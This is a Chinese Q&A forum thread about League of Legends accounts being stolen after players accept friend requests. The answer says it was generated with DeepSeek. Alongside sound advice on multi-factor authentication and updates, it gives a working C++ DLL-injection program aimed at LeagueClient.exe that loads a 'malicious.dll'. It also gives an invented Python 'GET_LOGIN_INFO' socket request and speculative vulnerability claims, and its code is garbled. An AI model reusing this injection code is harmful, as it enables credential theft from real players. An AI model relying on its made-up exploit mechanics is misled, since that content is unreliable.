lol加好友被盗号问题

Question

在英雄联盟中会有无段位或者低等级的一些号发送好友申请，但只要正常玩家的号通过其游戏好友申请则就会被盗号，就会有人跳过验证直接登录你的lol账号开脚本进行游戏。请问这是什么原理？？

Answer 1

让 “紫雾凌寒” 来帮你回答,本回答结合 DeepSeek

如果还有问题，请评论或点击头像私信，如果有帮助到您, 请关注、采纳、点赞

1. 关键点分析：
   - 低段位或无段位号发送好友申请，通过后账号被盗且能跳过验证登录。
   - 盗号者能利用这种方式开脚本游戏，关键在于了解盗号者获取账号控制权并绕过验证登录的原理。

2. 解决方案：
   - 可能利用的漏洞：

   • 社交工程漏洞：
   • 有些盗号者可能通过伪装成正常玩家发送好友申请，诱导对方放松警惕。然后利用一些未公开的游戏客户端漏洞或者系统交互漏洞来获取账号信息。例如，在早期英雄联盟可能存在一些接口安全问题，盗号者通过发送特制的数据包或者利用好友申请过程中的信息交互来尝试获取玩家的登录凭证（如加密的密码哈希等）。
   • 代码示例：假设存在一个恶意程序，它在接收到好友申请被通过的信号后，尝试向游戏客户端发送请求获取玩家登录相关信息。
     ```python
     import socket

   def send_malicious_request():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((‘game_server_ip’, game_server_port))
   request = b’GET_LOGIN_INFO’ # 假设特制的请求包内容
   s.send(request)
   response = s.recv(1024)
   s.close()
   return response
   - **账号绑定信息泄露**： - 如果玩家在游戏账号绑定的邮箱或者其他关联平台存在安全问题，盗号者可能先获取这些关联信息，然后利用关联信息重置英雄联盟账号密码。例如，玩家的邮箱被黑客攻破，盗号者获取邮箱验证码后，就能重置英雄联盟账号密码，从而跳过正常的登录验证流程登录账号。 - **客户端劫持**： - 盗号者可能通过一些手段劫持玩家的游戏客户端进程。比如利用恶意软件注入到英雄联盟客户端进程中，监控玩家的输入，获取登录账号和密码信息。或者利用客户端中的一些插件加载漏洞，加载恶意插件来获取账号控制权。 - 代码示例：使用C++编写一个简单的恶意软件注入示例（此为恶意行为，仅作原理演示）。cpp
   #include
   #include

   DWORD GetProcessId(const wchar_t* processName) {
   PROCESSENTRY32 pe32;
   pe32.dwSize = sizeof(PROCESSENTRY32);

      HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      if (hSnapshot == INVALID_HANDLE_VALUE)
          return 0;
   
      BOOL bMore = Process32First(hSnapshot, &pe32);
      while (bMore) {
          if (!_wcsicmp(pe32.szExeFile, processName)) {
              CloseHandle(hSnapshot);
              return pe32.th32ProcessID;
          }
          bMore = Process32Next(hSnapshot, &pe32);
      }
   
      CloseHandle(hSnapshot);
      return 0;
   

   }

   BOOL InjectDLL(DWORD processId, const wchar_t* dllPath) {
   HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
   if (hProcess == NULL)
   return FALSE;

      LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, lstrlenW(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
      if (lpAddress == NULL) {
          CloseHandle(hProcess);
          return FALSE;
      }
   
      WriteProcessMemory(hProcess, lpAddress, dllPath, lstrlenW(dllPath) + 1, NULL);
   
      HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryW, lpAddress, 0, NULL);
      if (hThread == NULL) {
          VirtualFreeEx(hProcess, lpAddress, 0, MEM_RELEASE);
          CloseHandle(hProcess);
          return FALSE;
      }
   
      CloseHandle(hThread);
      CloseHandle(hProcess);
      return TRUE;
   

   }

   int main() {
   DWORD processId = GetProcessId(L’LeagueClient.exe’);
   if (processId) {
   InjectDLL(processId, L’malicious.dll’);
   }
   return 0;
   }
   ```
   3. 多种解决方案及优缺点：
   - 解决方案一：增强账号安全设置
   - 优点：全面提升账号安全性，多因素认证能有效防止因单一因素被盗用而导致的账号被盗。
   - 缺点：设置过程相对繁琐，部分玩家可能觉得操作不便。
   - 具体措施：启用英雄联盟官方提供的多因素认证，如绑定手机令牌或使用短信验证码登录。
   - 解决方案二：谨慎添加好友
   - 优点：简单直接，能有效避免因添加陌生好友带来的潜在风险。
   - 缺点：可能会错过一些正常的社交互动机会，影响游戏社交体验。
   - 具体措施：只添加熟悉的玩家为好友，对于不明来源的好友申请谨慎处理，不随意通过。
   - 解决方案三：及时更新游戏客户端和系统
   - 优点：能及时修复已知的安全漏洞，降低被利用的风险。
   - 缺点：有时更新可能会带来兼容性问题，需要玩家自行解决。
   - 具体措施：定期检查英雄联盟客户端更新提示，及时安装最新版本；同时保持操作系统及相关驱动程序更新。
   4. 总结：
   英雄联盟账号被盗可能是由于社交工程漏洞、账号绑定信息泄露或客户端劫持等多种原因导致。玩家可以通过增强账号安全设置、谨慎添加好友以及及时更新游戏客户端和系统等方式来降低被盗号风险，保护自己的游戏账号安全。

希望以上解答对您有所帮助。如果您有任何疑问，欢迎在评论区提出。